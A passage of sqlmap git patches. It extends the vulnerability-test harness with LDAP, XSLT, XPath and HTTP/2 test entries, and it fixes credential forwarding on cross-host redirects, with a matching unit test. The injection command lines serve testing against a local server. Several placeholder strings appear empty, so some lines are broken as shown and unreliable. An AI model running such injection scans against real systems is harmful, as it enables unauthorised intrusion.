--time-sec=5 as heavy queries scale with it) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing ("-u \"echo?q=x\" --xslt --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # reflection is not evaluation: a pure echo endpoint must not satisfy any non-SQL engine's oracle ("-u \"echo?q=x\" --xpath --flush-session --disable-hashing", ("no parameter appears to be injectable", "~is vulnerable to")), # same gate for --xpath (it used to confirm XPath injection from reflected text alone) @@ -133,6 +135,12 @@ def vulnTest(tests=None, label="vuln"): except ImportError: TESTS = tuple(_ for _ in TESTS if "--ssti" not in _[0]) logger.warning("skipping the SSTI vuln-test entry ('jinja2' not available)") + try: + __import__("h2") + __import__("cryptography") + except ImportError: + TESTS = tuple(_ for _ in TESTS if "" not in _[0]) + logger.warning("skipping the HTTP/2 vuln-test entry ('h2' or 'cryptography' not available)") # --test-filter / --test-skip narrow a (slow) full run to just the entries touching a change: # the needle is matched case-insensitively against each entry's command line and its expected @@ -236,6 +244,28 @@ def vulnTest(tests=None, label="vuln"): f.flush() base = "http://%s:%d/" % (address, port) + h2base = "" + + # optional HTTP/2 (TLS) endpoint (e.g. for --timeless) + if any("" in _[0] for _ in TESTS): + h2port = port + 1 if port < 65535 else port - 1 + thread = threading.Thread(target=vulnserver.run_h2, args=(address, h2port)) + thread.daemon = True + thread.start() + + for _ in xrange(20): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + try: + if not s.connect_ex((address, h2port)): + h2base = "https://%s:%d/" % (address, h2port) + break + finally: + s.close() + time.sleep(0.5) + + if not h2base: + TESTS = tuple(_ for _ in TESTS if "" not in _[0]) + logger.warning("skipping the HTTP/2 vuln-test entry (unable to start HTTP/2 endpoint)") url = "%s?id=1" % base direct = "sqlite3://%s" % database tmpdir = tempfile.mkdtemp() @@ -260,10 +290,10 @@ def vulnTest(tests=None, label="vuln"): options = options.replace(u"\u0161u\u0107uraj", "sucuraj") checks = [check.replace(u"\u0161u\u0107uraj", "sucuraj") for check in checks] - for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d"))): + for tag, value in (("", url), ("", base), ("", direct), ("", tmpdir), ("", request), ("", log), ("", multiple), ("", config), ("", url.replace("id=1", "id=MZ=%3d")), ("", h2base)): options = options.replace(tag, value) - cmd = "%s \"%s\" %s --batch --non-interactive --debug --time-sec=1" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options) + cmd = "%s \"%s\" %s --batch --non-interactive --debug%s" % (sys.executable if ' ' not in sys.executable else '"%s"' % sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options, "" if "--time-sec" in options else " --time-sec=1") if "" in cmd: handle, tmp = tempfile.mkstemp() From 5db2e62884d91f3ed3b43ec55904737e4051e9d7 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 19 Nov 2026 15:06:30 +0100 Subject: [PATCH 126/126] Fixes #6185 --- lib/core/settings.py | 2 +- lib/request/redirecthandler.py | 5 +++++ tests/test_authrefresh.py | 23 +++++++++++++++++++++++ 3 files changed, 29 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 76ae2dafe..081fee1a8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.11.88" +VERSION = "1.10.11.89" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 32f65f992..e214e358e 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -10,6 +10,7 @@ import re import time import types +from lib.core.common import checkSameHost from lib.core.common import getHostHeader from lib.core.common import getSafeExString from lib.core.common import logHTTPTraffic @@ -180,6 +181,10 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler): if conf.authRefresh and not authrefresh.sameOrigin(req.get_full_url(), redurl): req.headers = authrefresh.stripHeaders(req.headers) req.unredirected_hdrs = authrefresh.stripHeaders(req.unredirected_hdrs) + + # Note: credentials are not to be forwarded to a different host (like browsers, curl and requests do) (#6185) + if not checkSameHost(req.get_full_url(), redurl): + req.headers = dict((key, value) for key, value in req.headers.items() if key.upper() not in (HTTP_HEADER.COOKIE.upper(), HTTP_HEADER.AUTHORIZATION.upper())) result = _urllib.request.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except _urllib.error.HTTPError as ex: result = error = ex diff --git a/tests/test_authrefresh.py b/tests/test_authrefresh.py index 5aff5d687..9fe24f329 100644 --- a/tests/test_authrefresh.py +++ b/tests/test_authrefresh.py @@ -68,6 +68,7 @@ class _Handler(BaseHTTPServer.BaseHTTPRequestHandler): def do_POST(self): body = self.rfile.read(int(self.headers.get('Content-Length', '0'))) token = self.headers.get('X-Auth-Token') + self.server.credentials = (self.headers.get('Cookie'), self.headers.get('Authorization')) if self.path == '/refresh': self.server.refreshes += 1 code, body = 200, b'{"token":"fresh"}' @@ -270,6 +271,28 @@ class TestAuthRefresh(unittest.TestCase): other.server_close() thread.join(5) + def test_redirect_to_another_host_does_not_receive_credentials(self): + # Note: user-supplied Cookie/Authorization must not leak to a different host (#6185), while the same host keeps them + conf.authRefresh = None + conf.httpHeaders = [('X-Auth-Token', 'fresh'), ('Cookie', 'session=secret'), ('Authorization', 'Bearer secret')] + other = _Server(('127.0.0.1', 0), _Handler) + other.requests, other.token, other.expired = [], 'fresh', 0 + other.lock = threading.Lock() + other.syncExpired = False + thread = threading.Thread(target=other.serve_forever) + thread.daemon = True + thread.start() + try: + for host, expected in (('localhost', (None, None)), ('127.0.0.1', ('session=secret', 'Bearer secret'))): + other.credentials = None + self.server.redirect = 'http://%s:%d/landing' % (host, other.server_port) + Connect.getPage(url=conf.url.replace('/test', '/redirect')) + self.assertEqual(other.credentials, expected) + finally: + other.shutdown() + other.server_close() + thread.join(5) + def test_auth_refresh_latency_is_excluded_from_query_timing(self): import lib.request.connect as connect originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds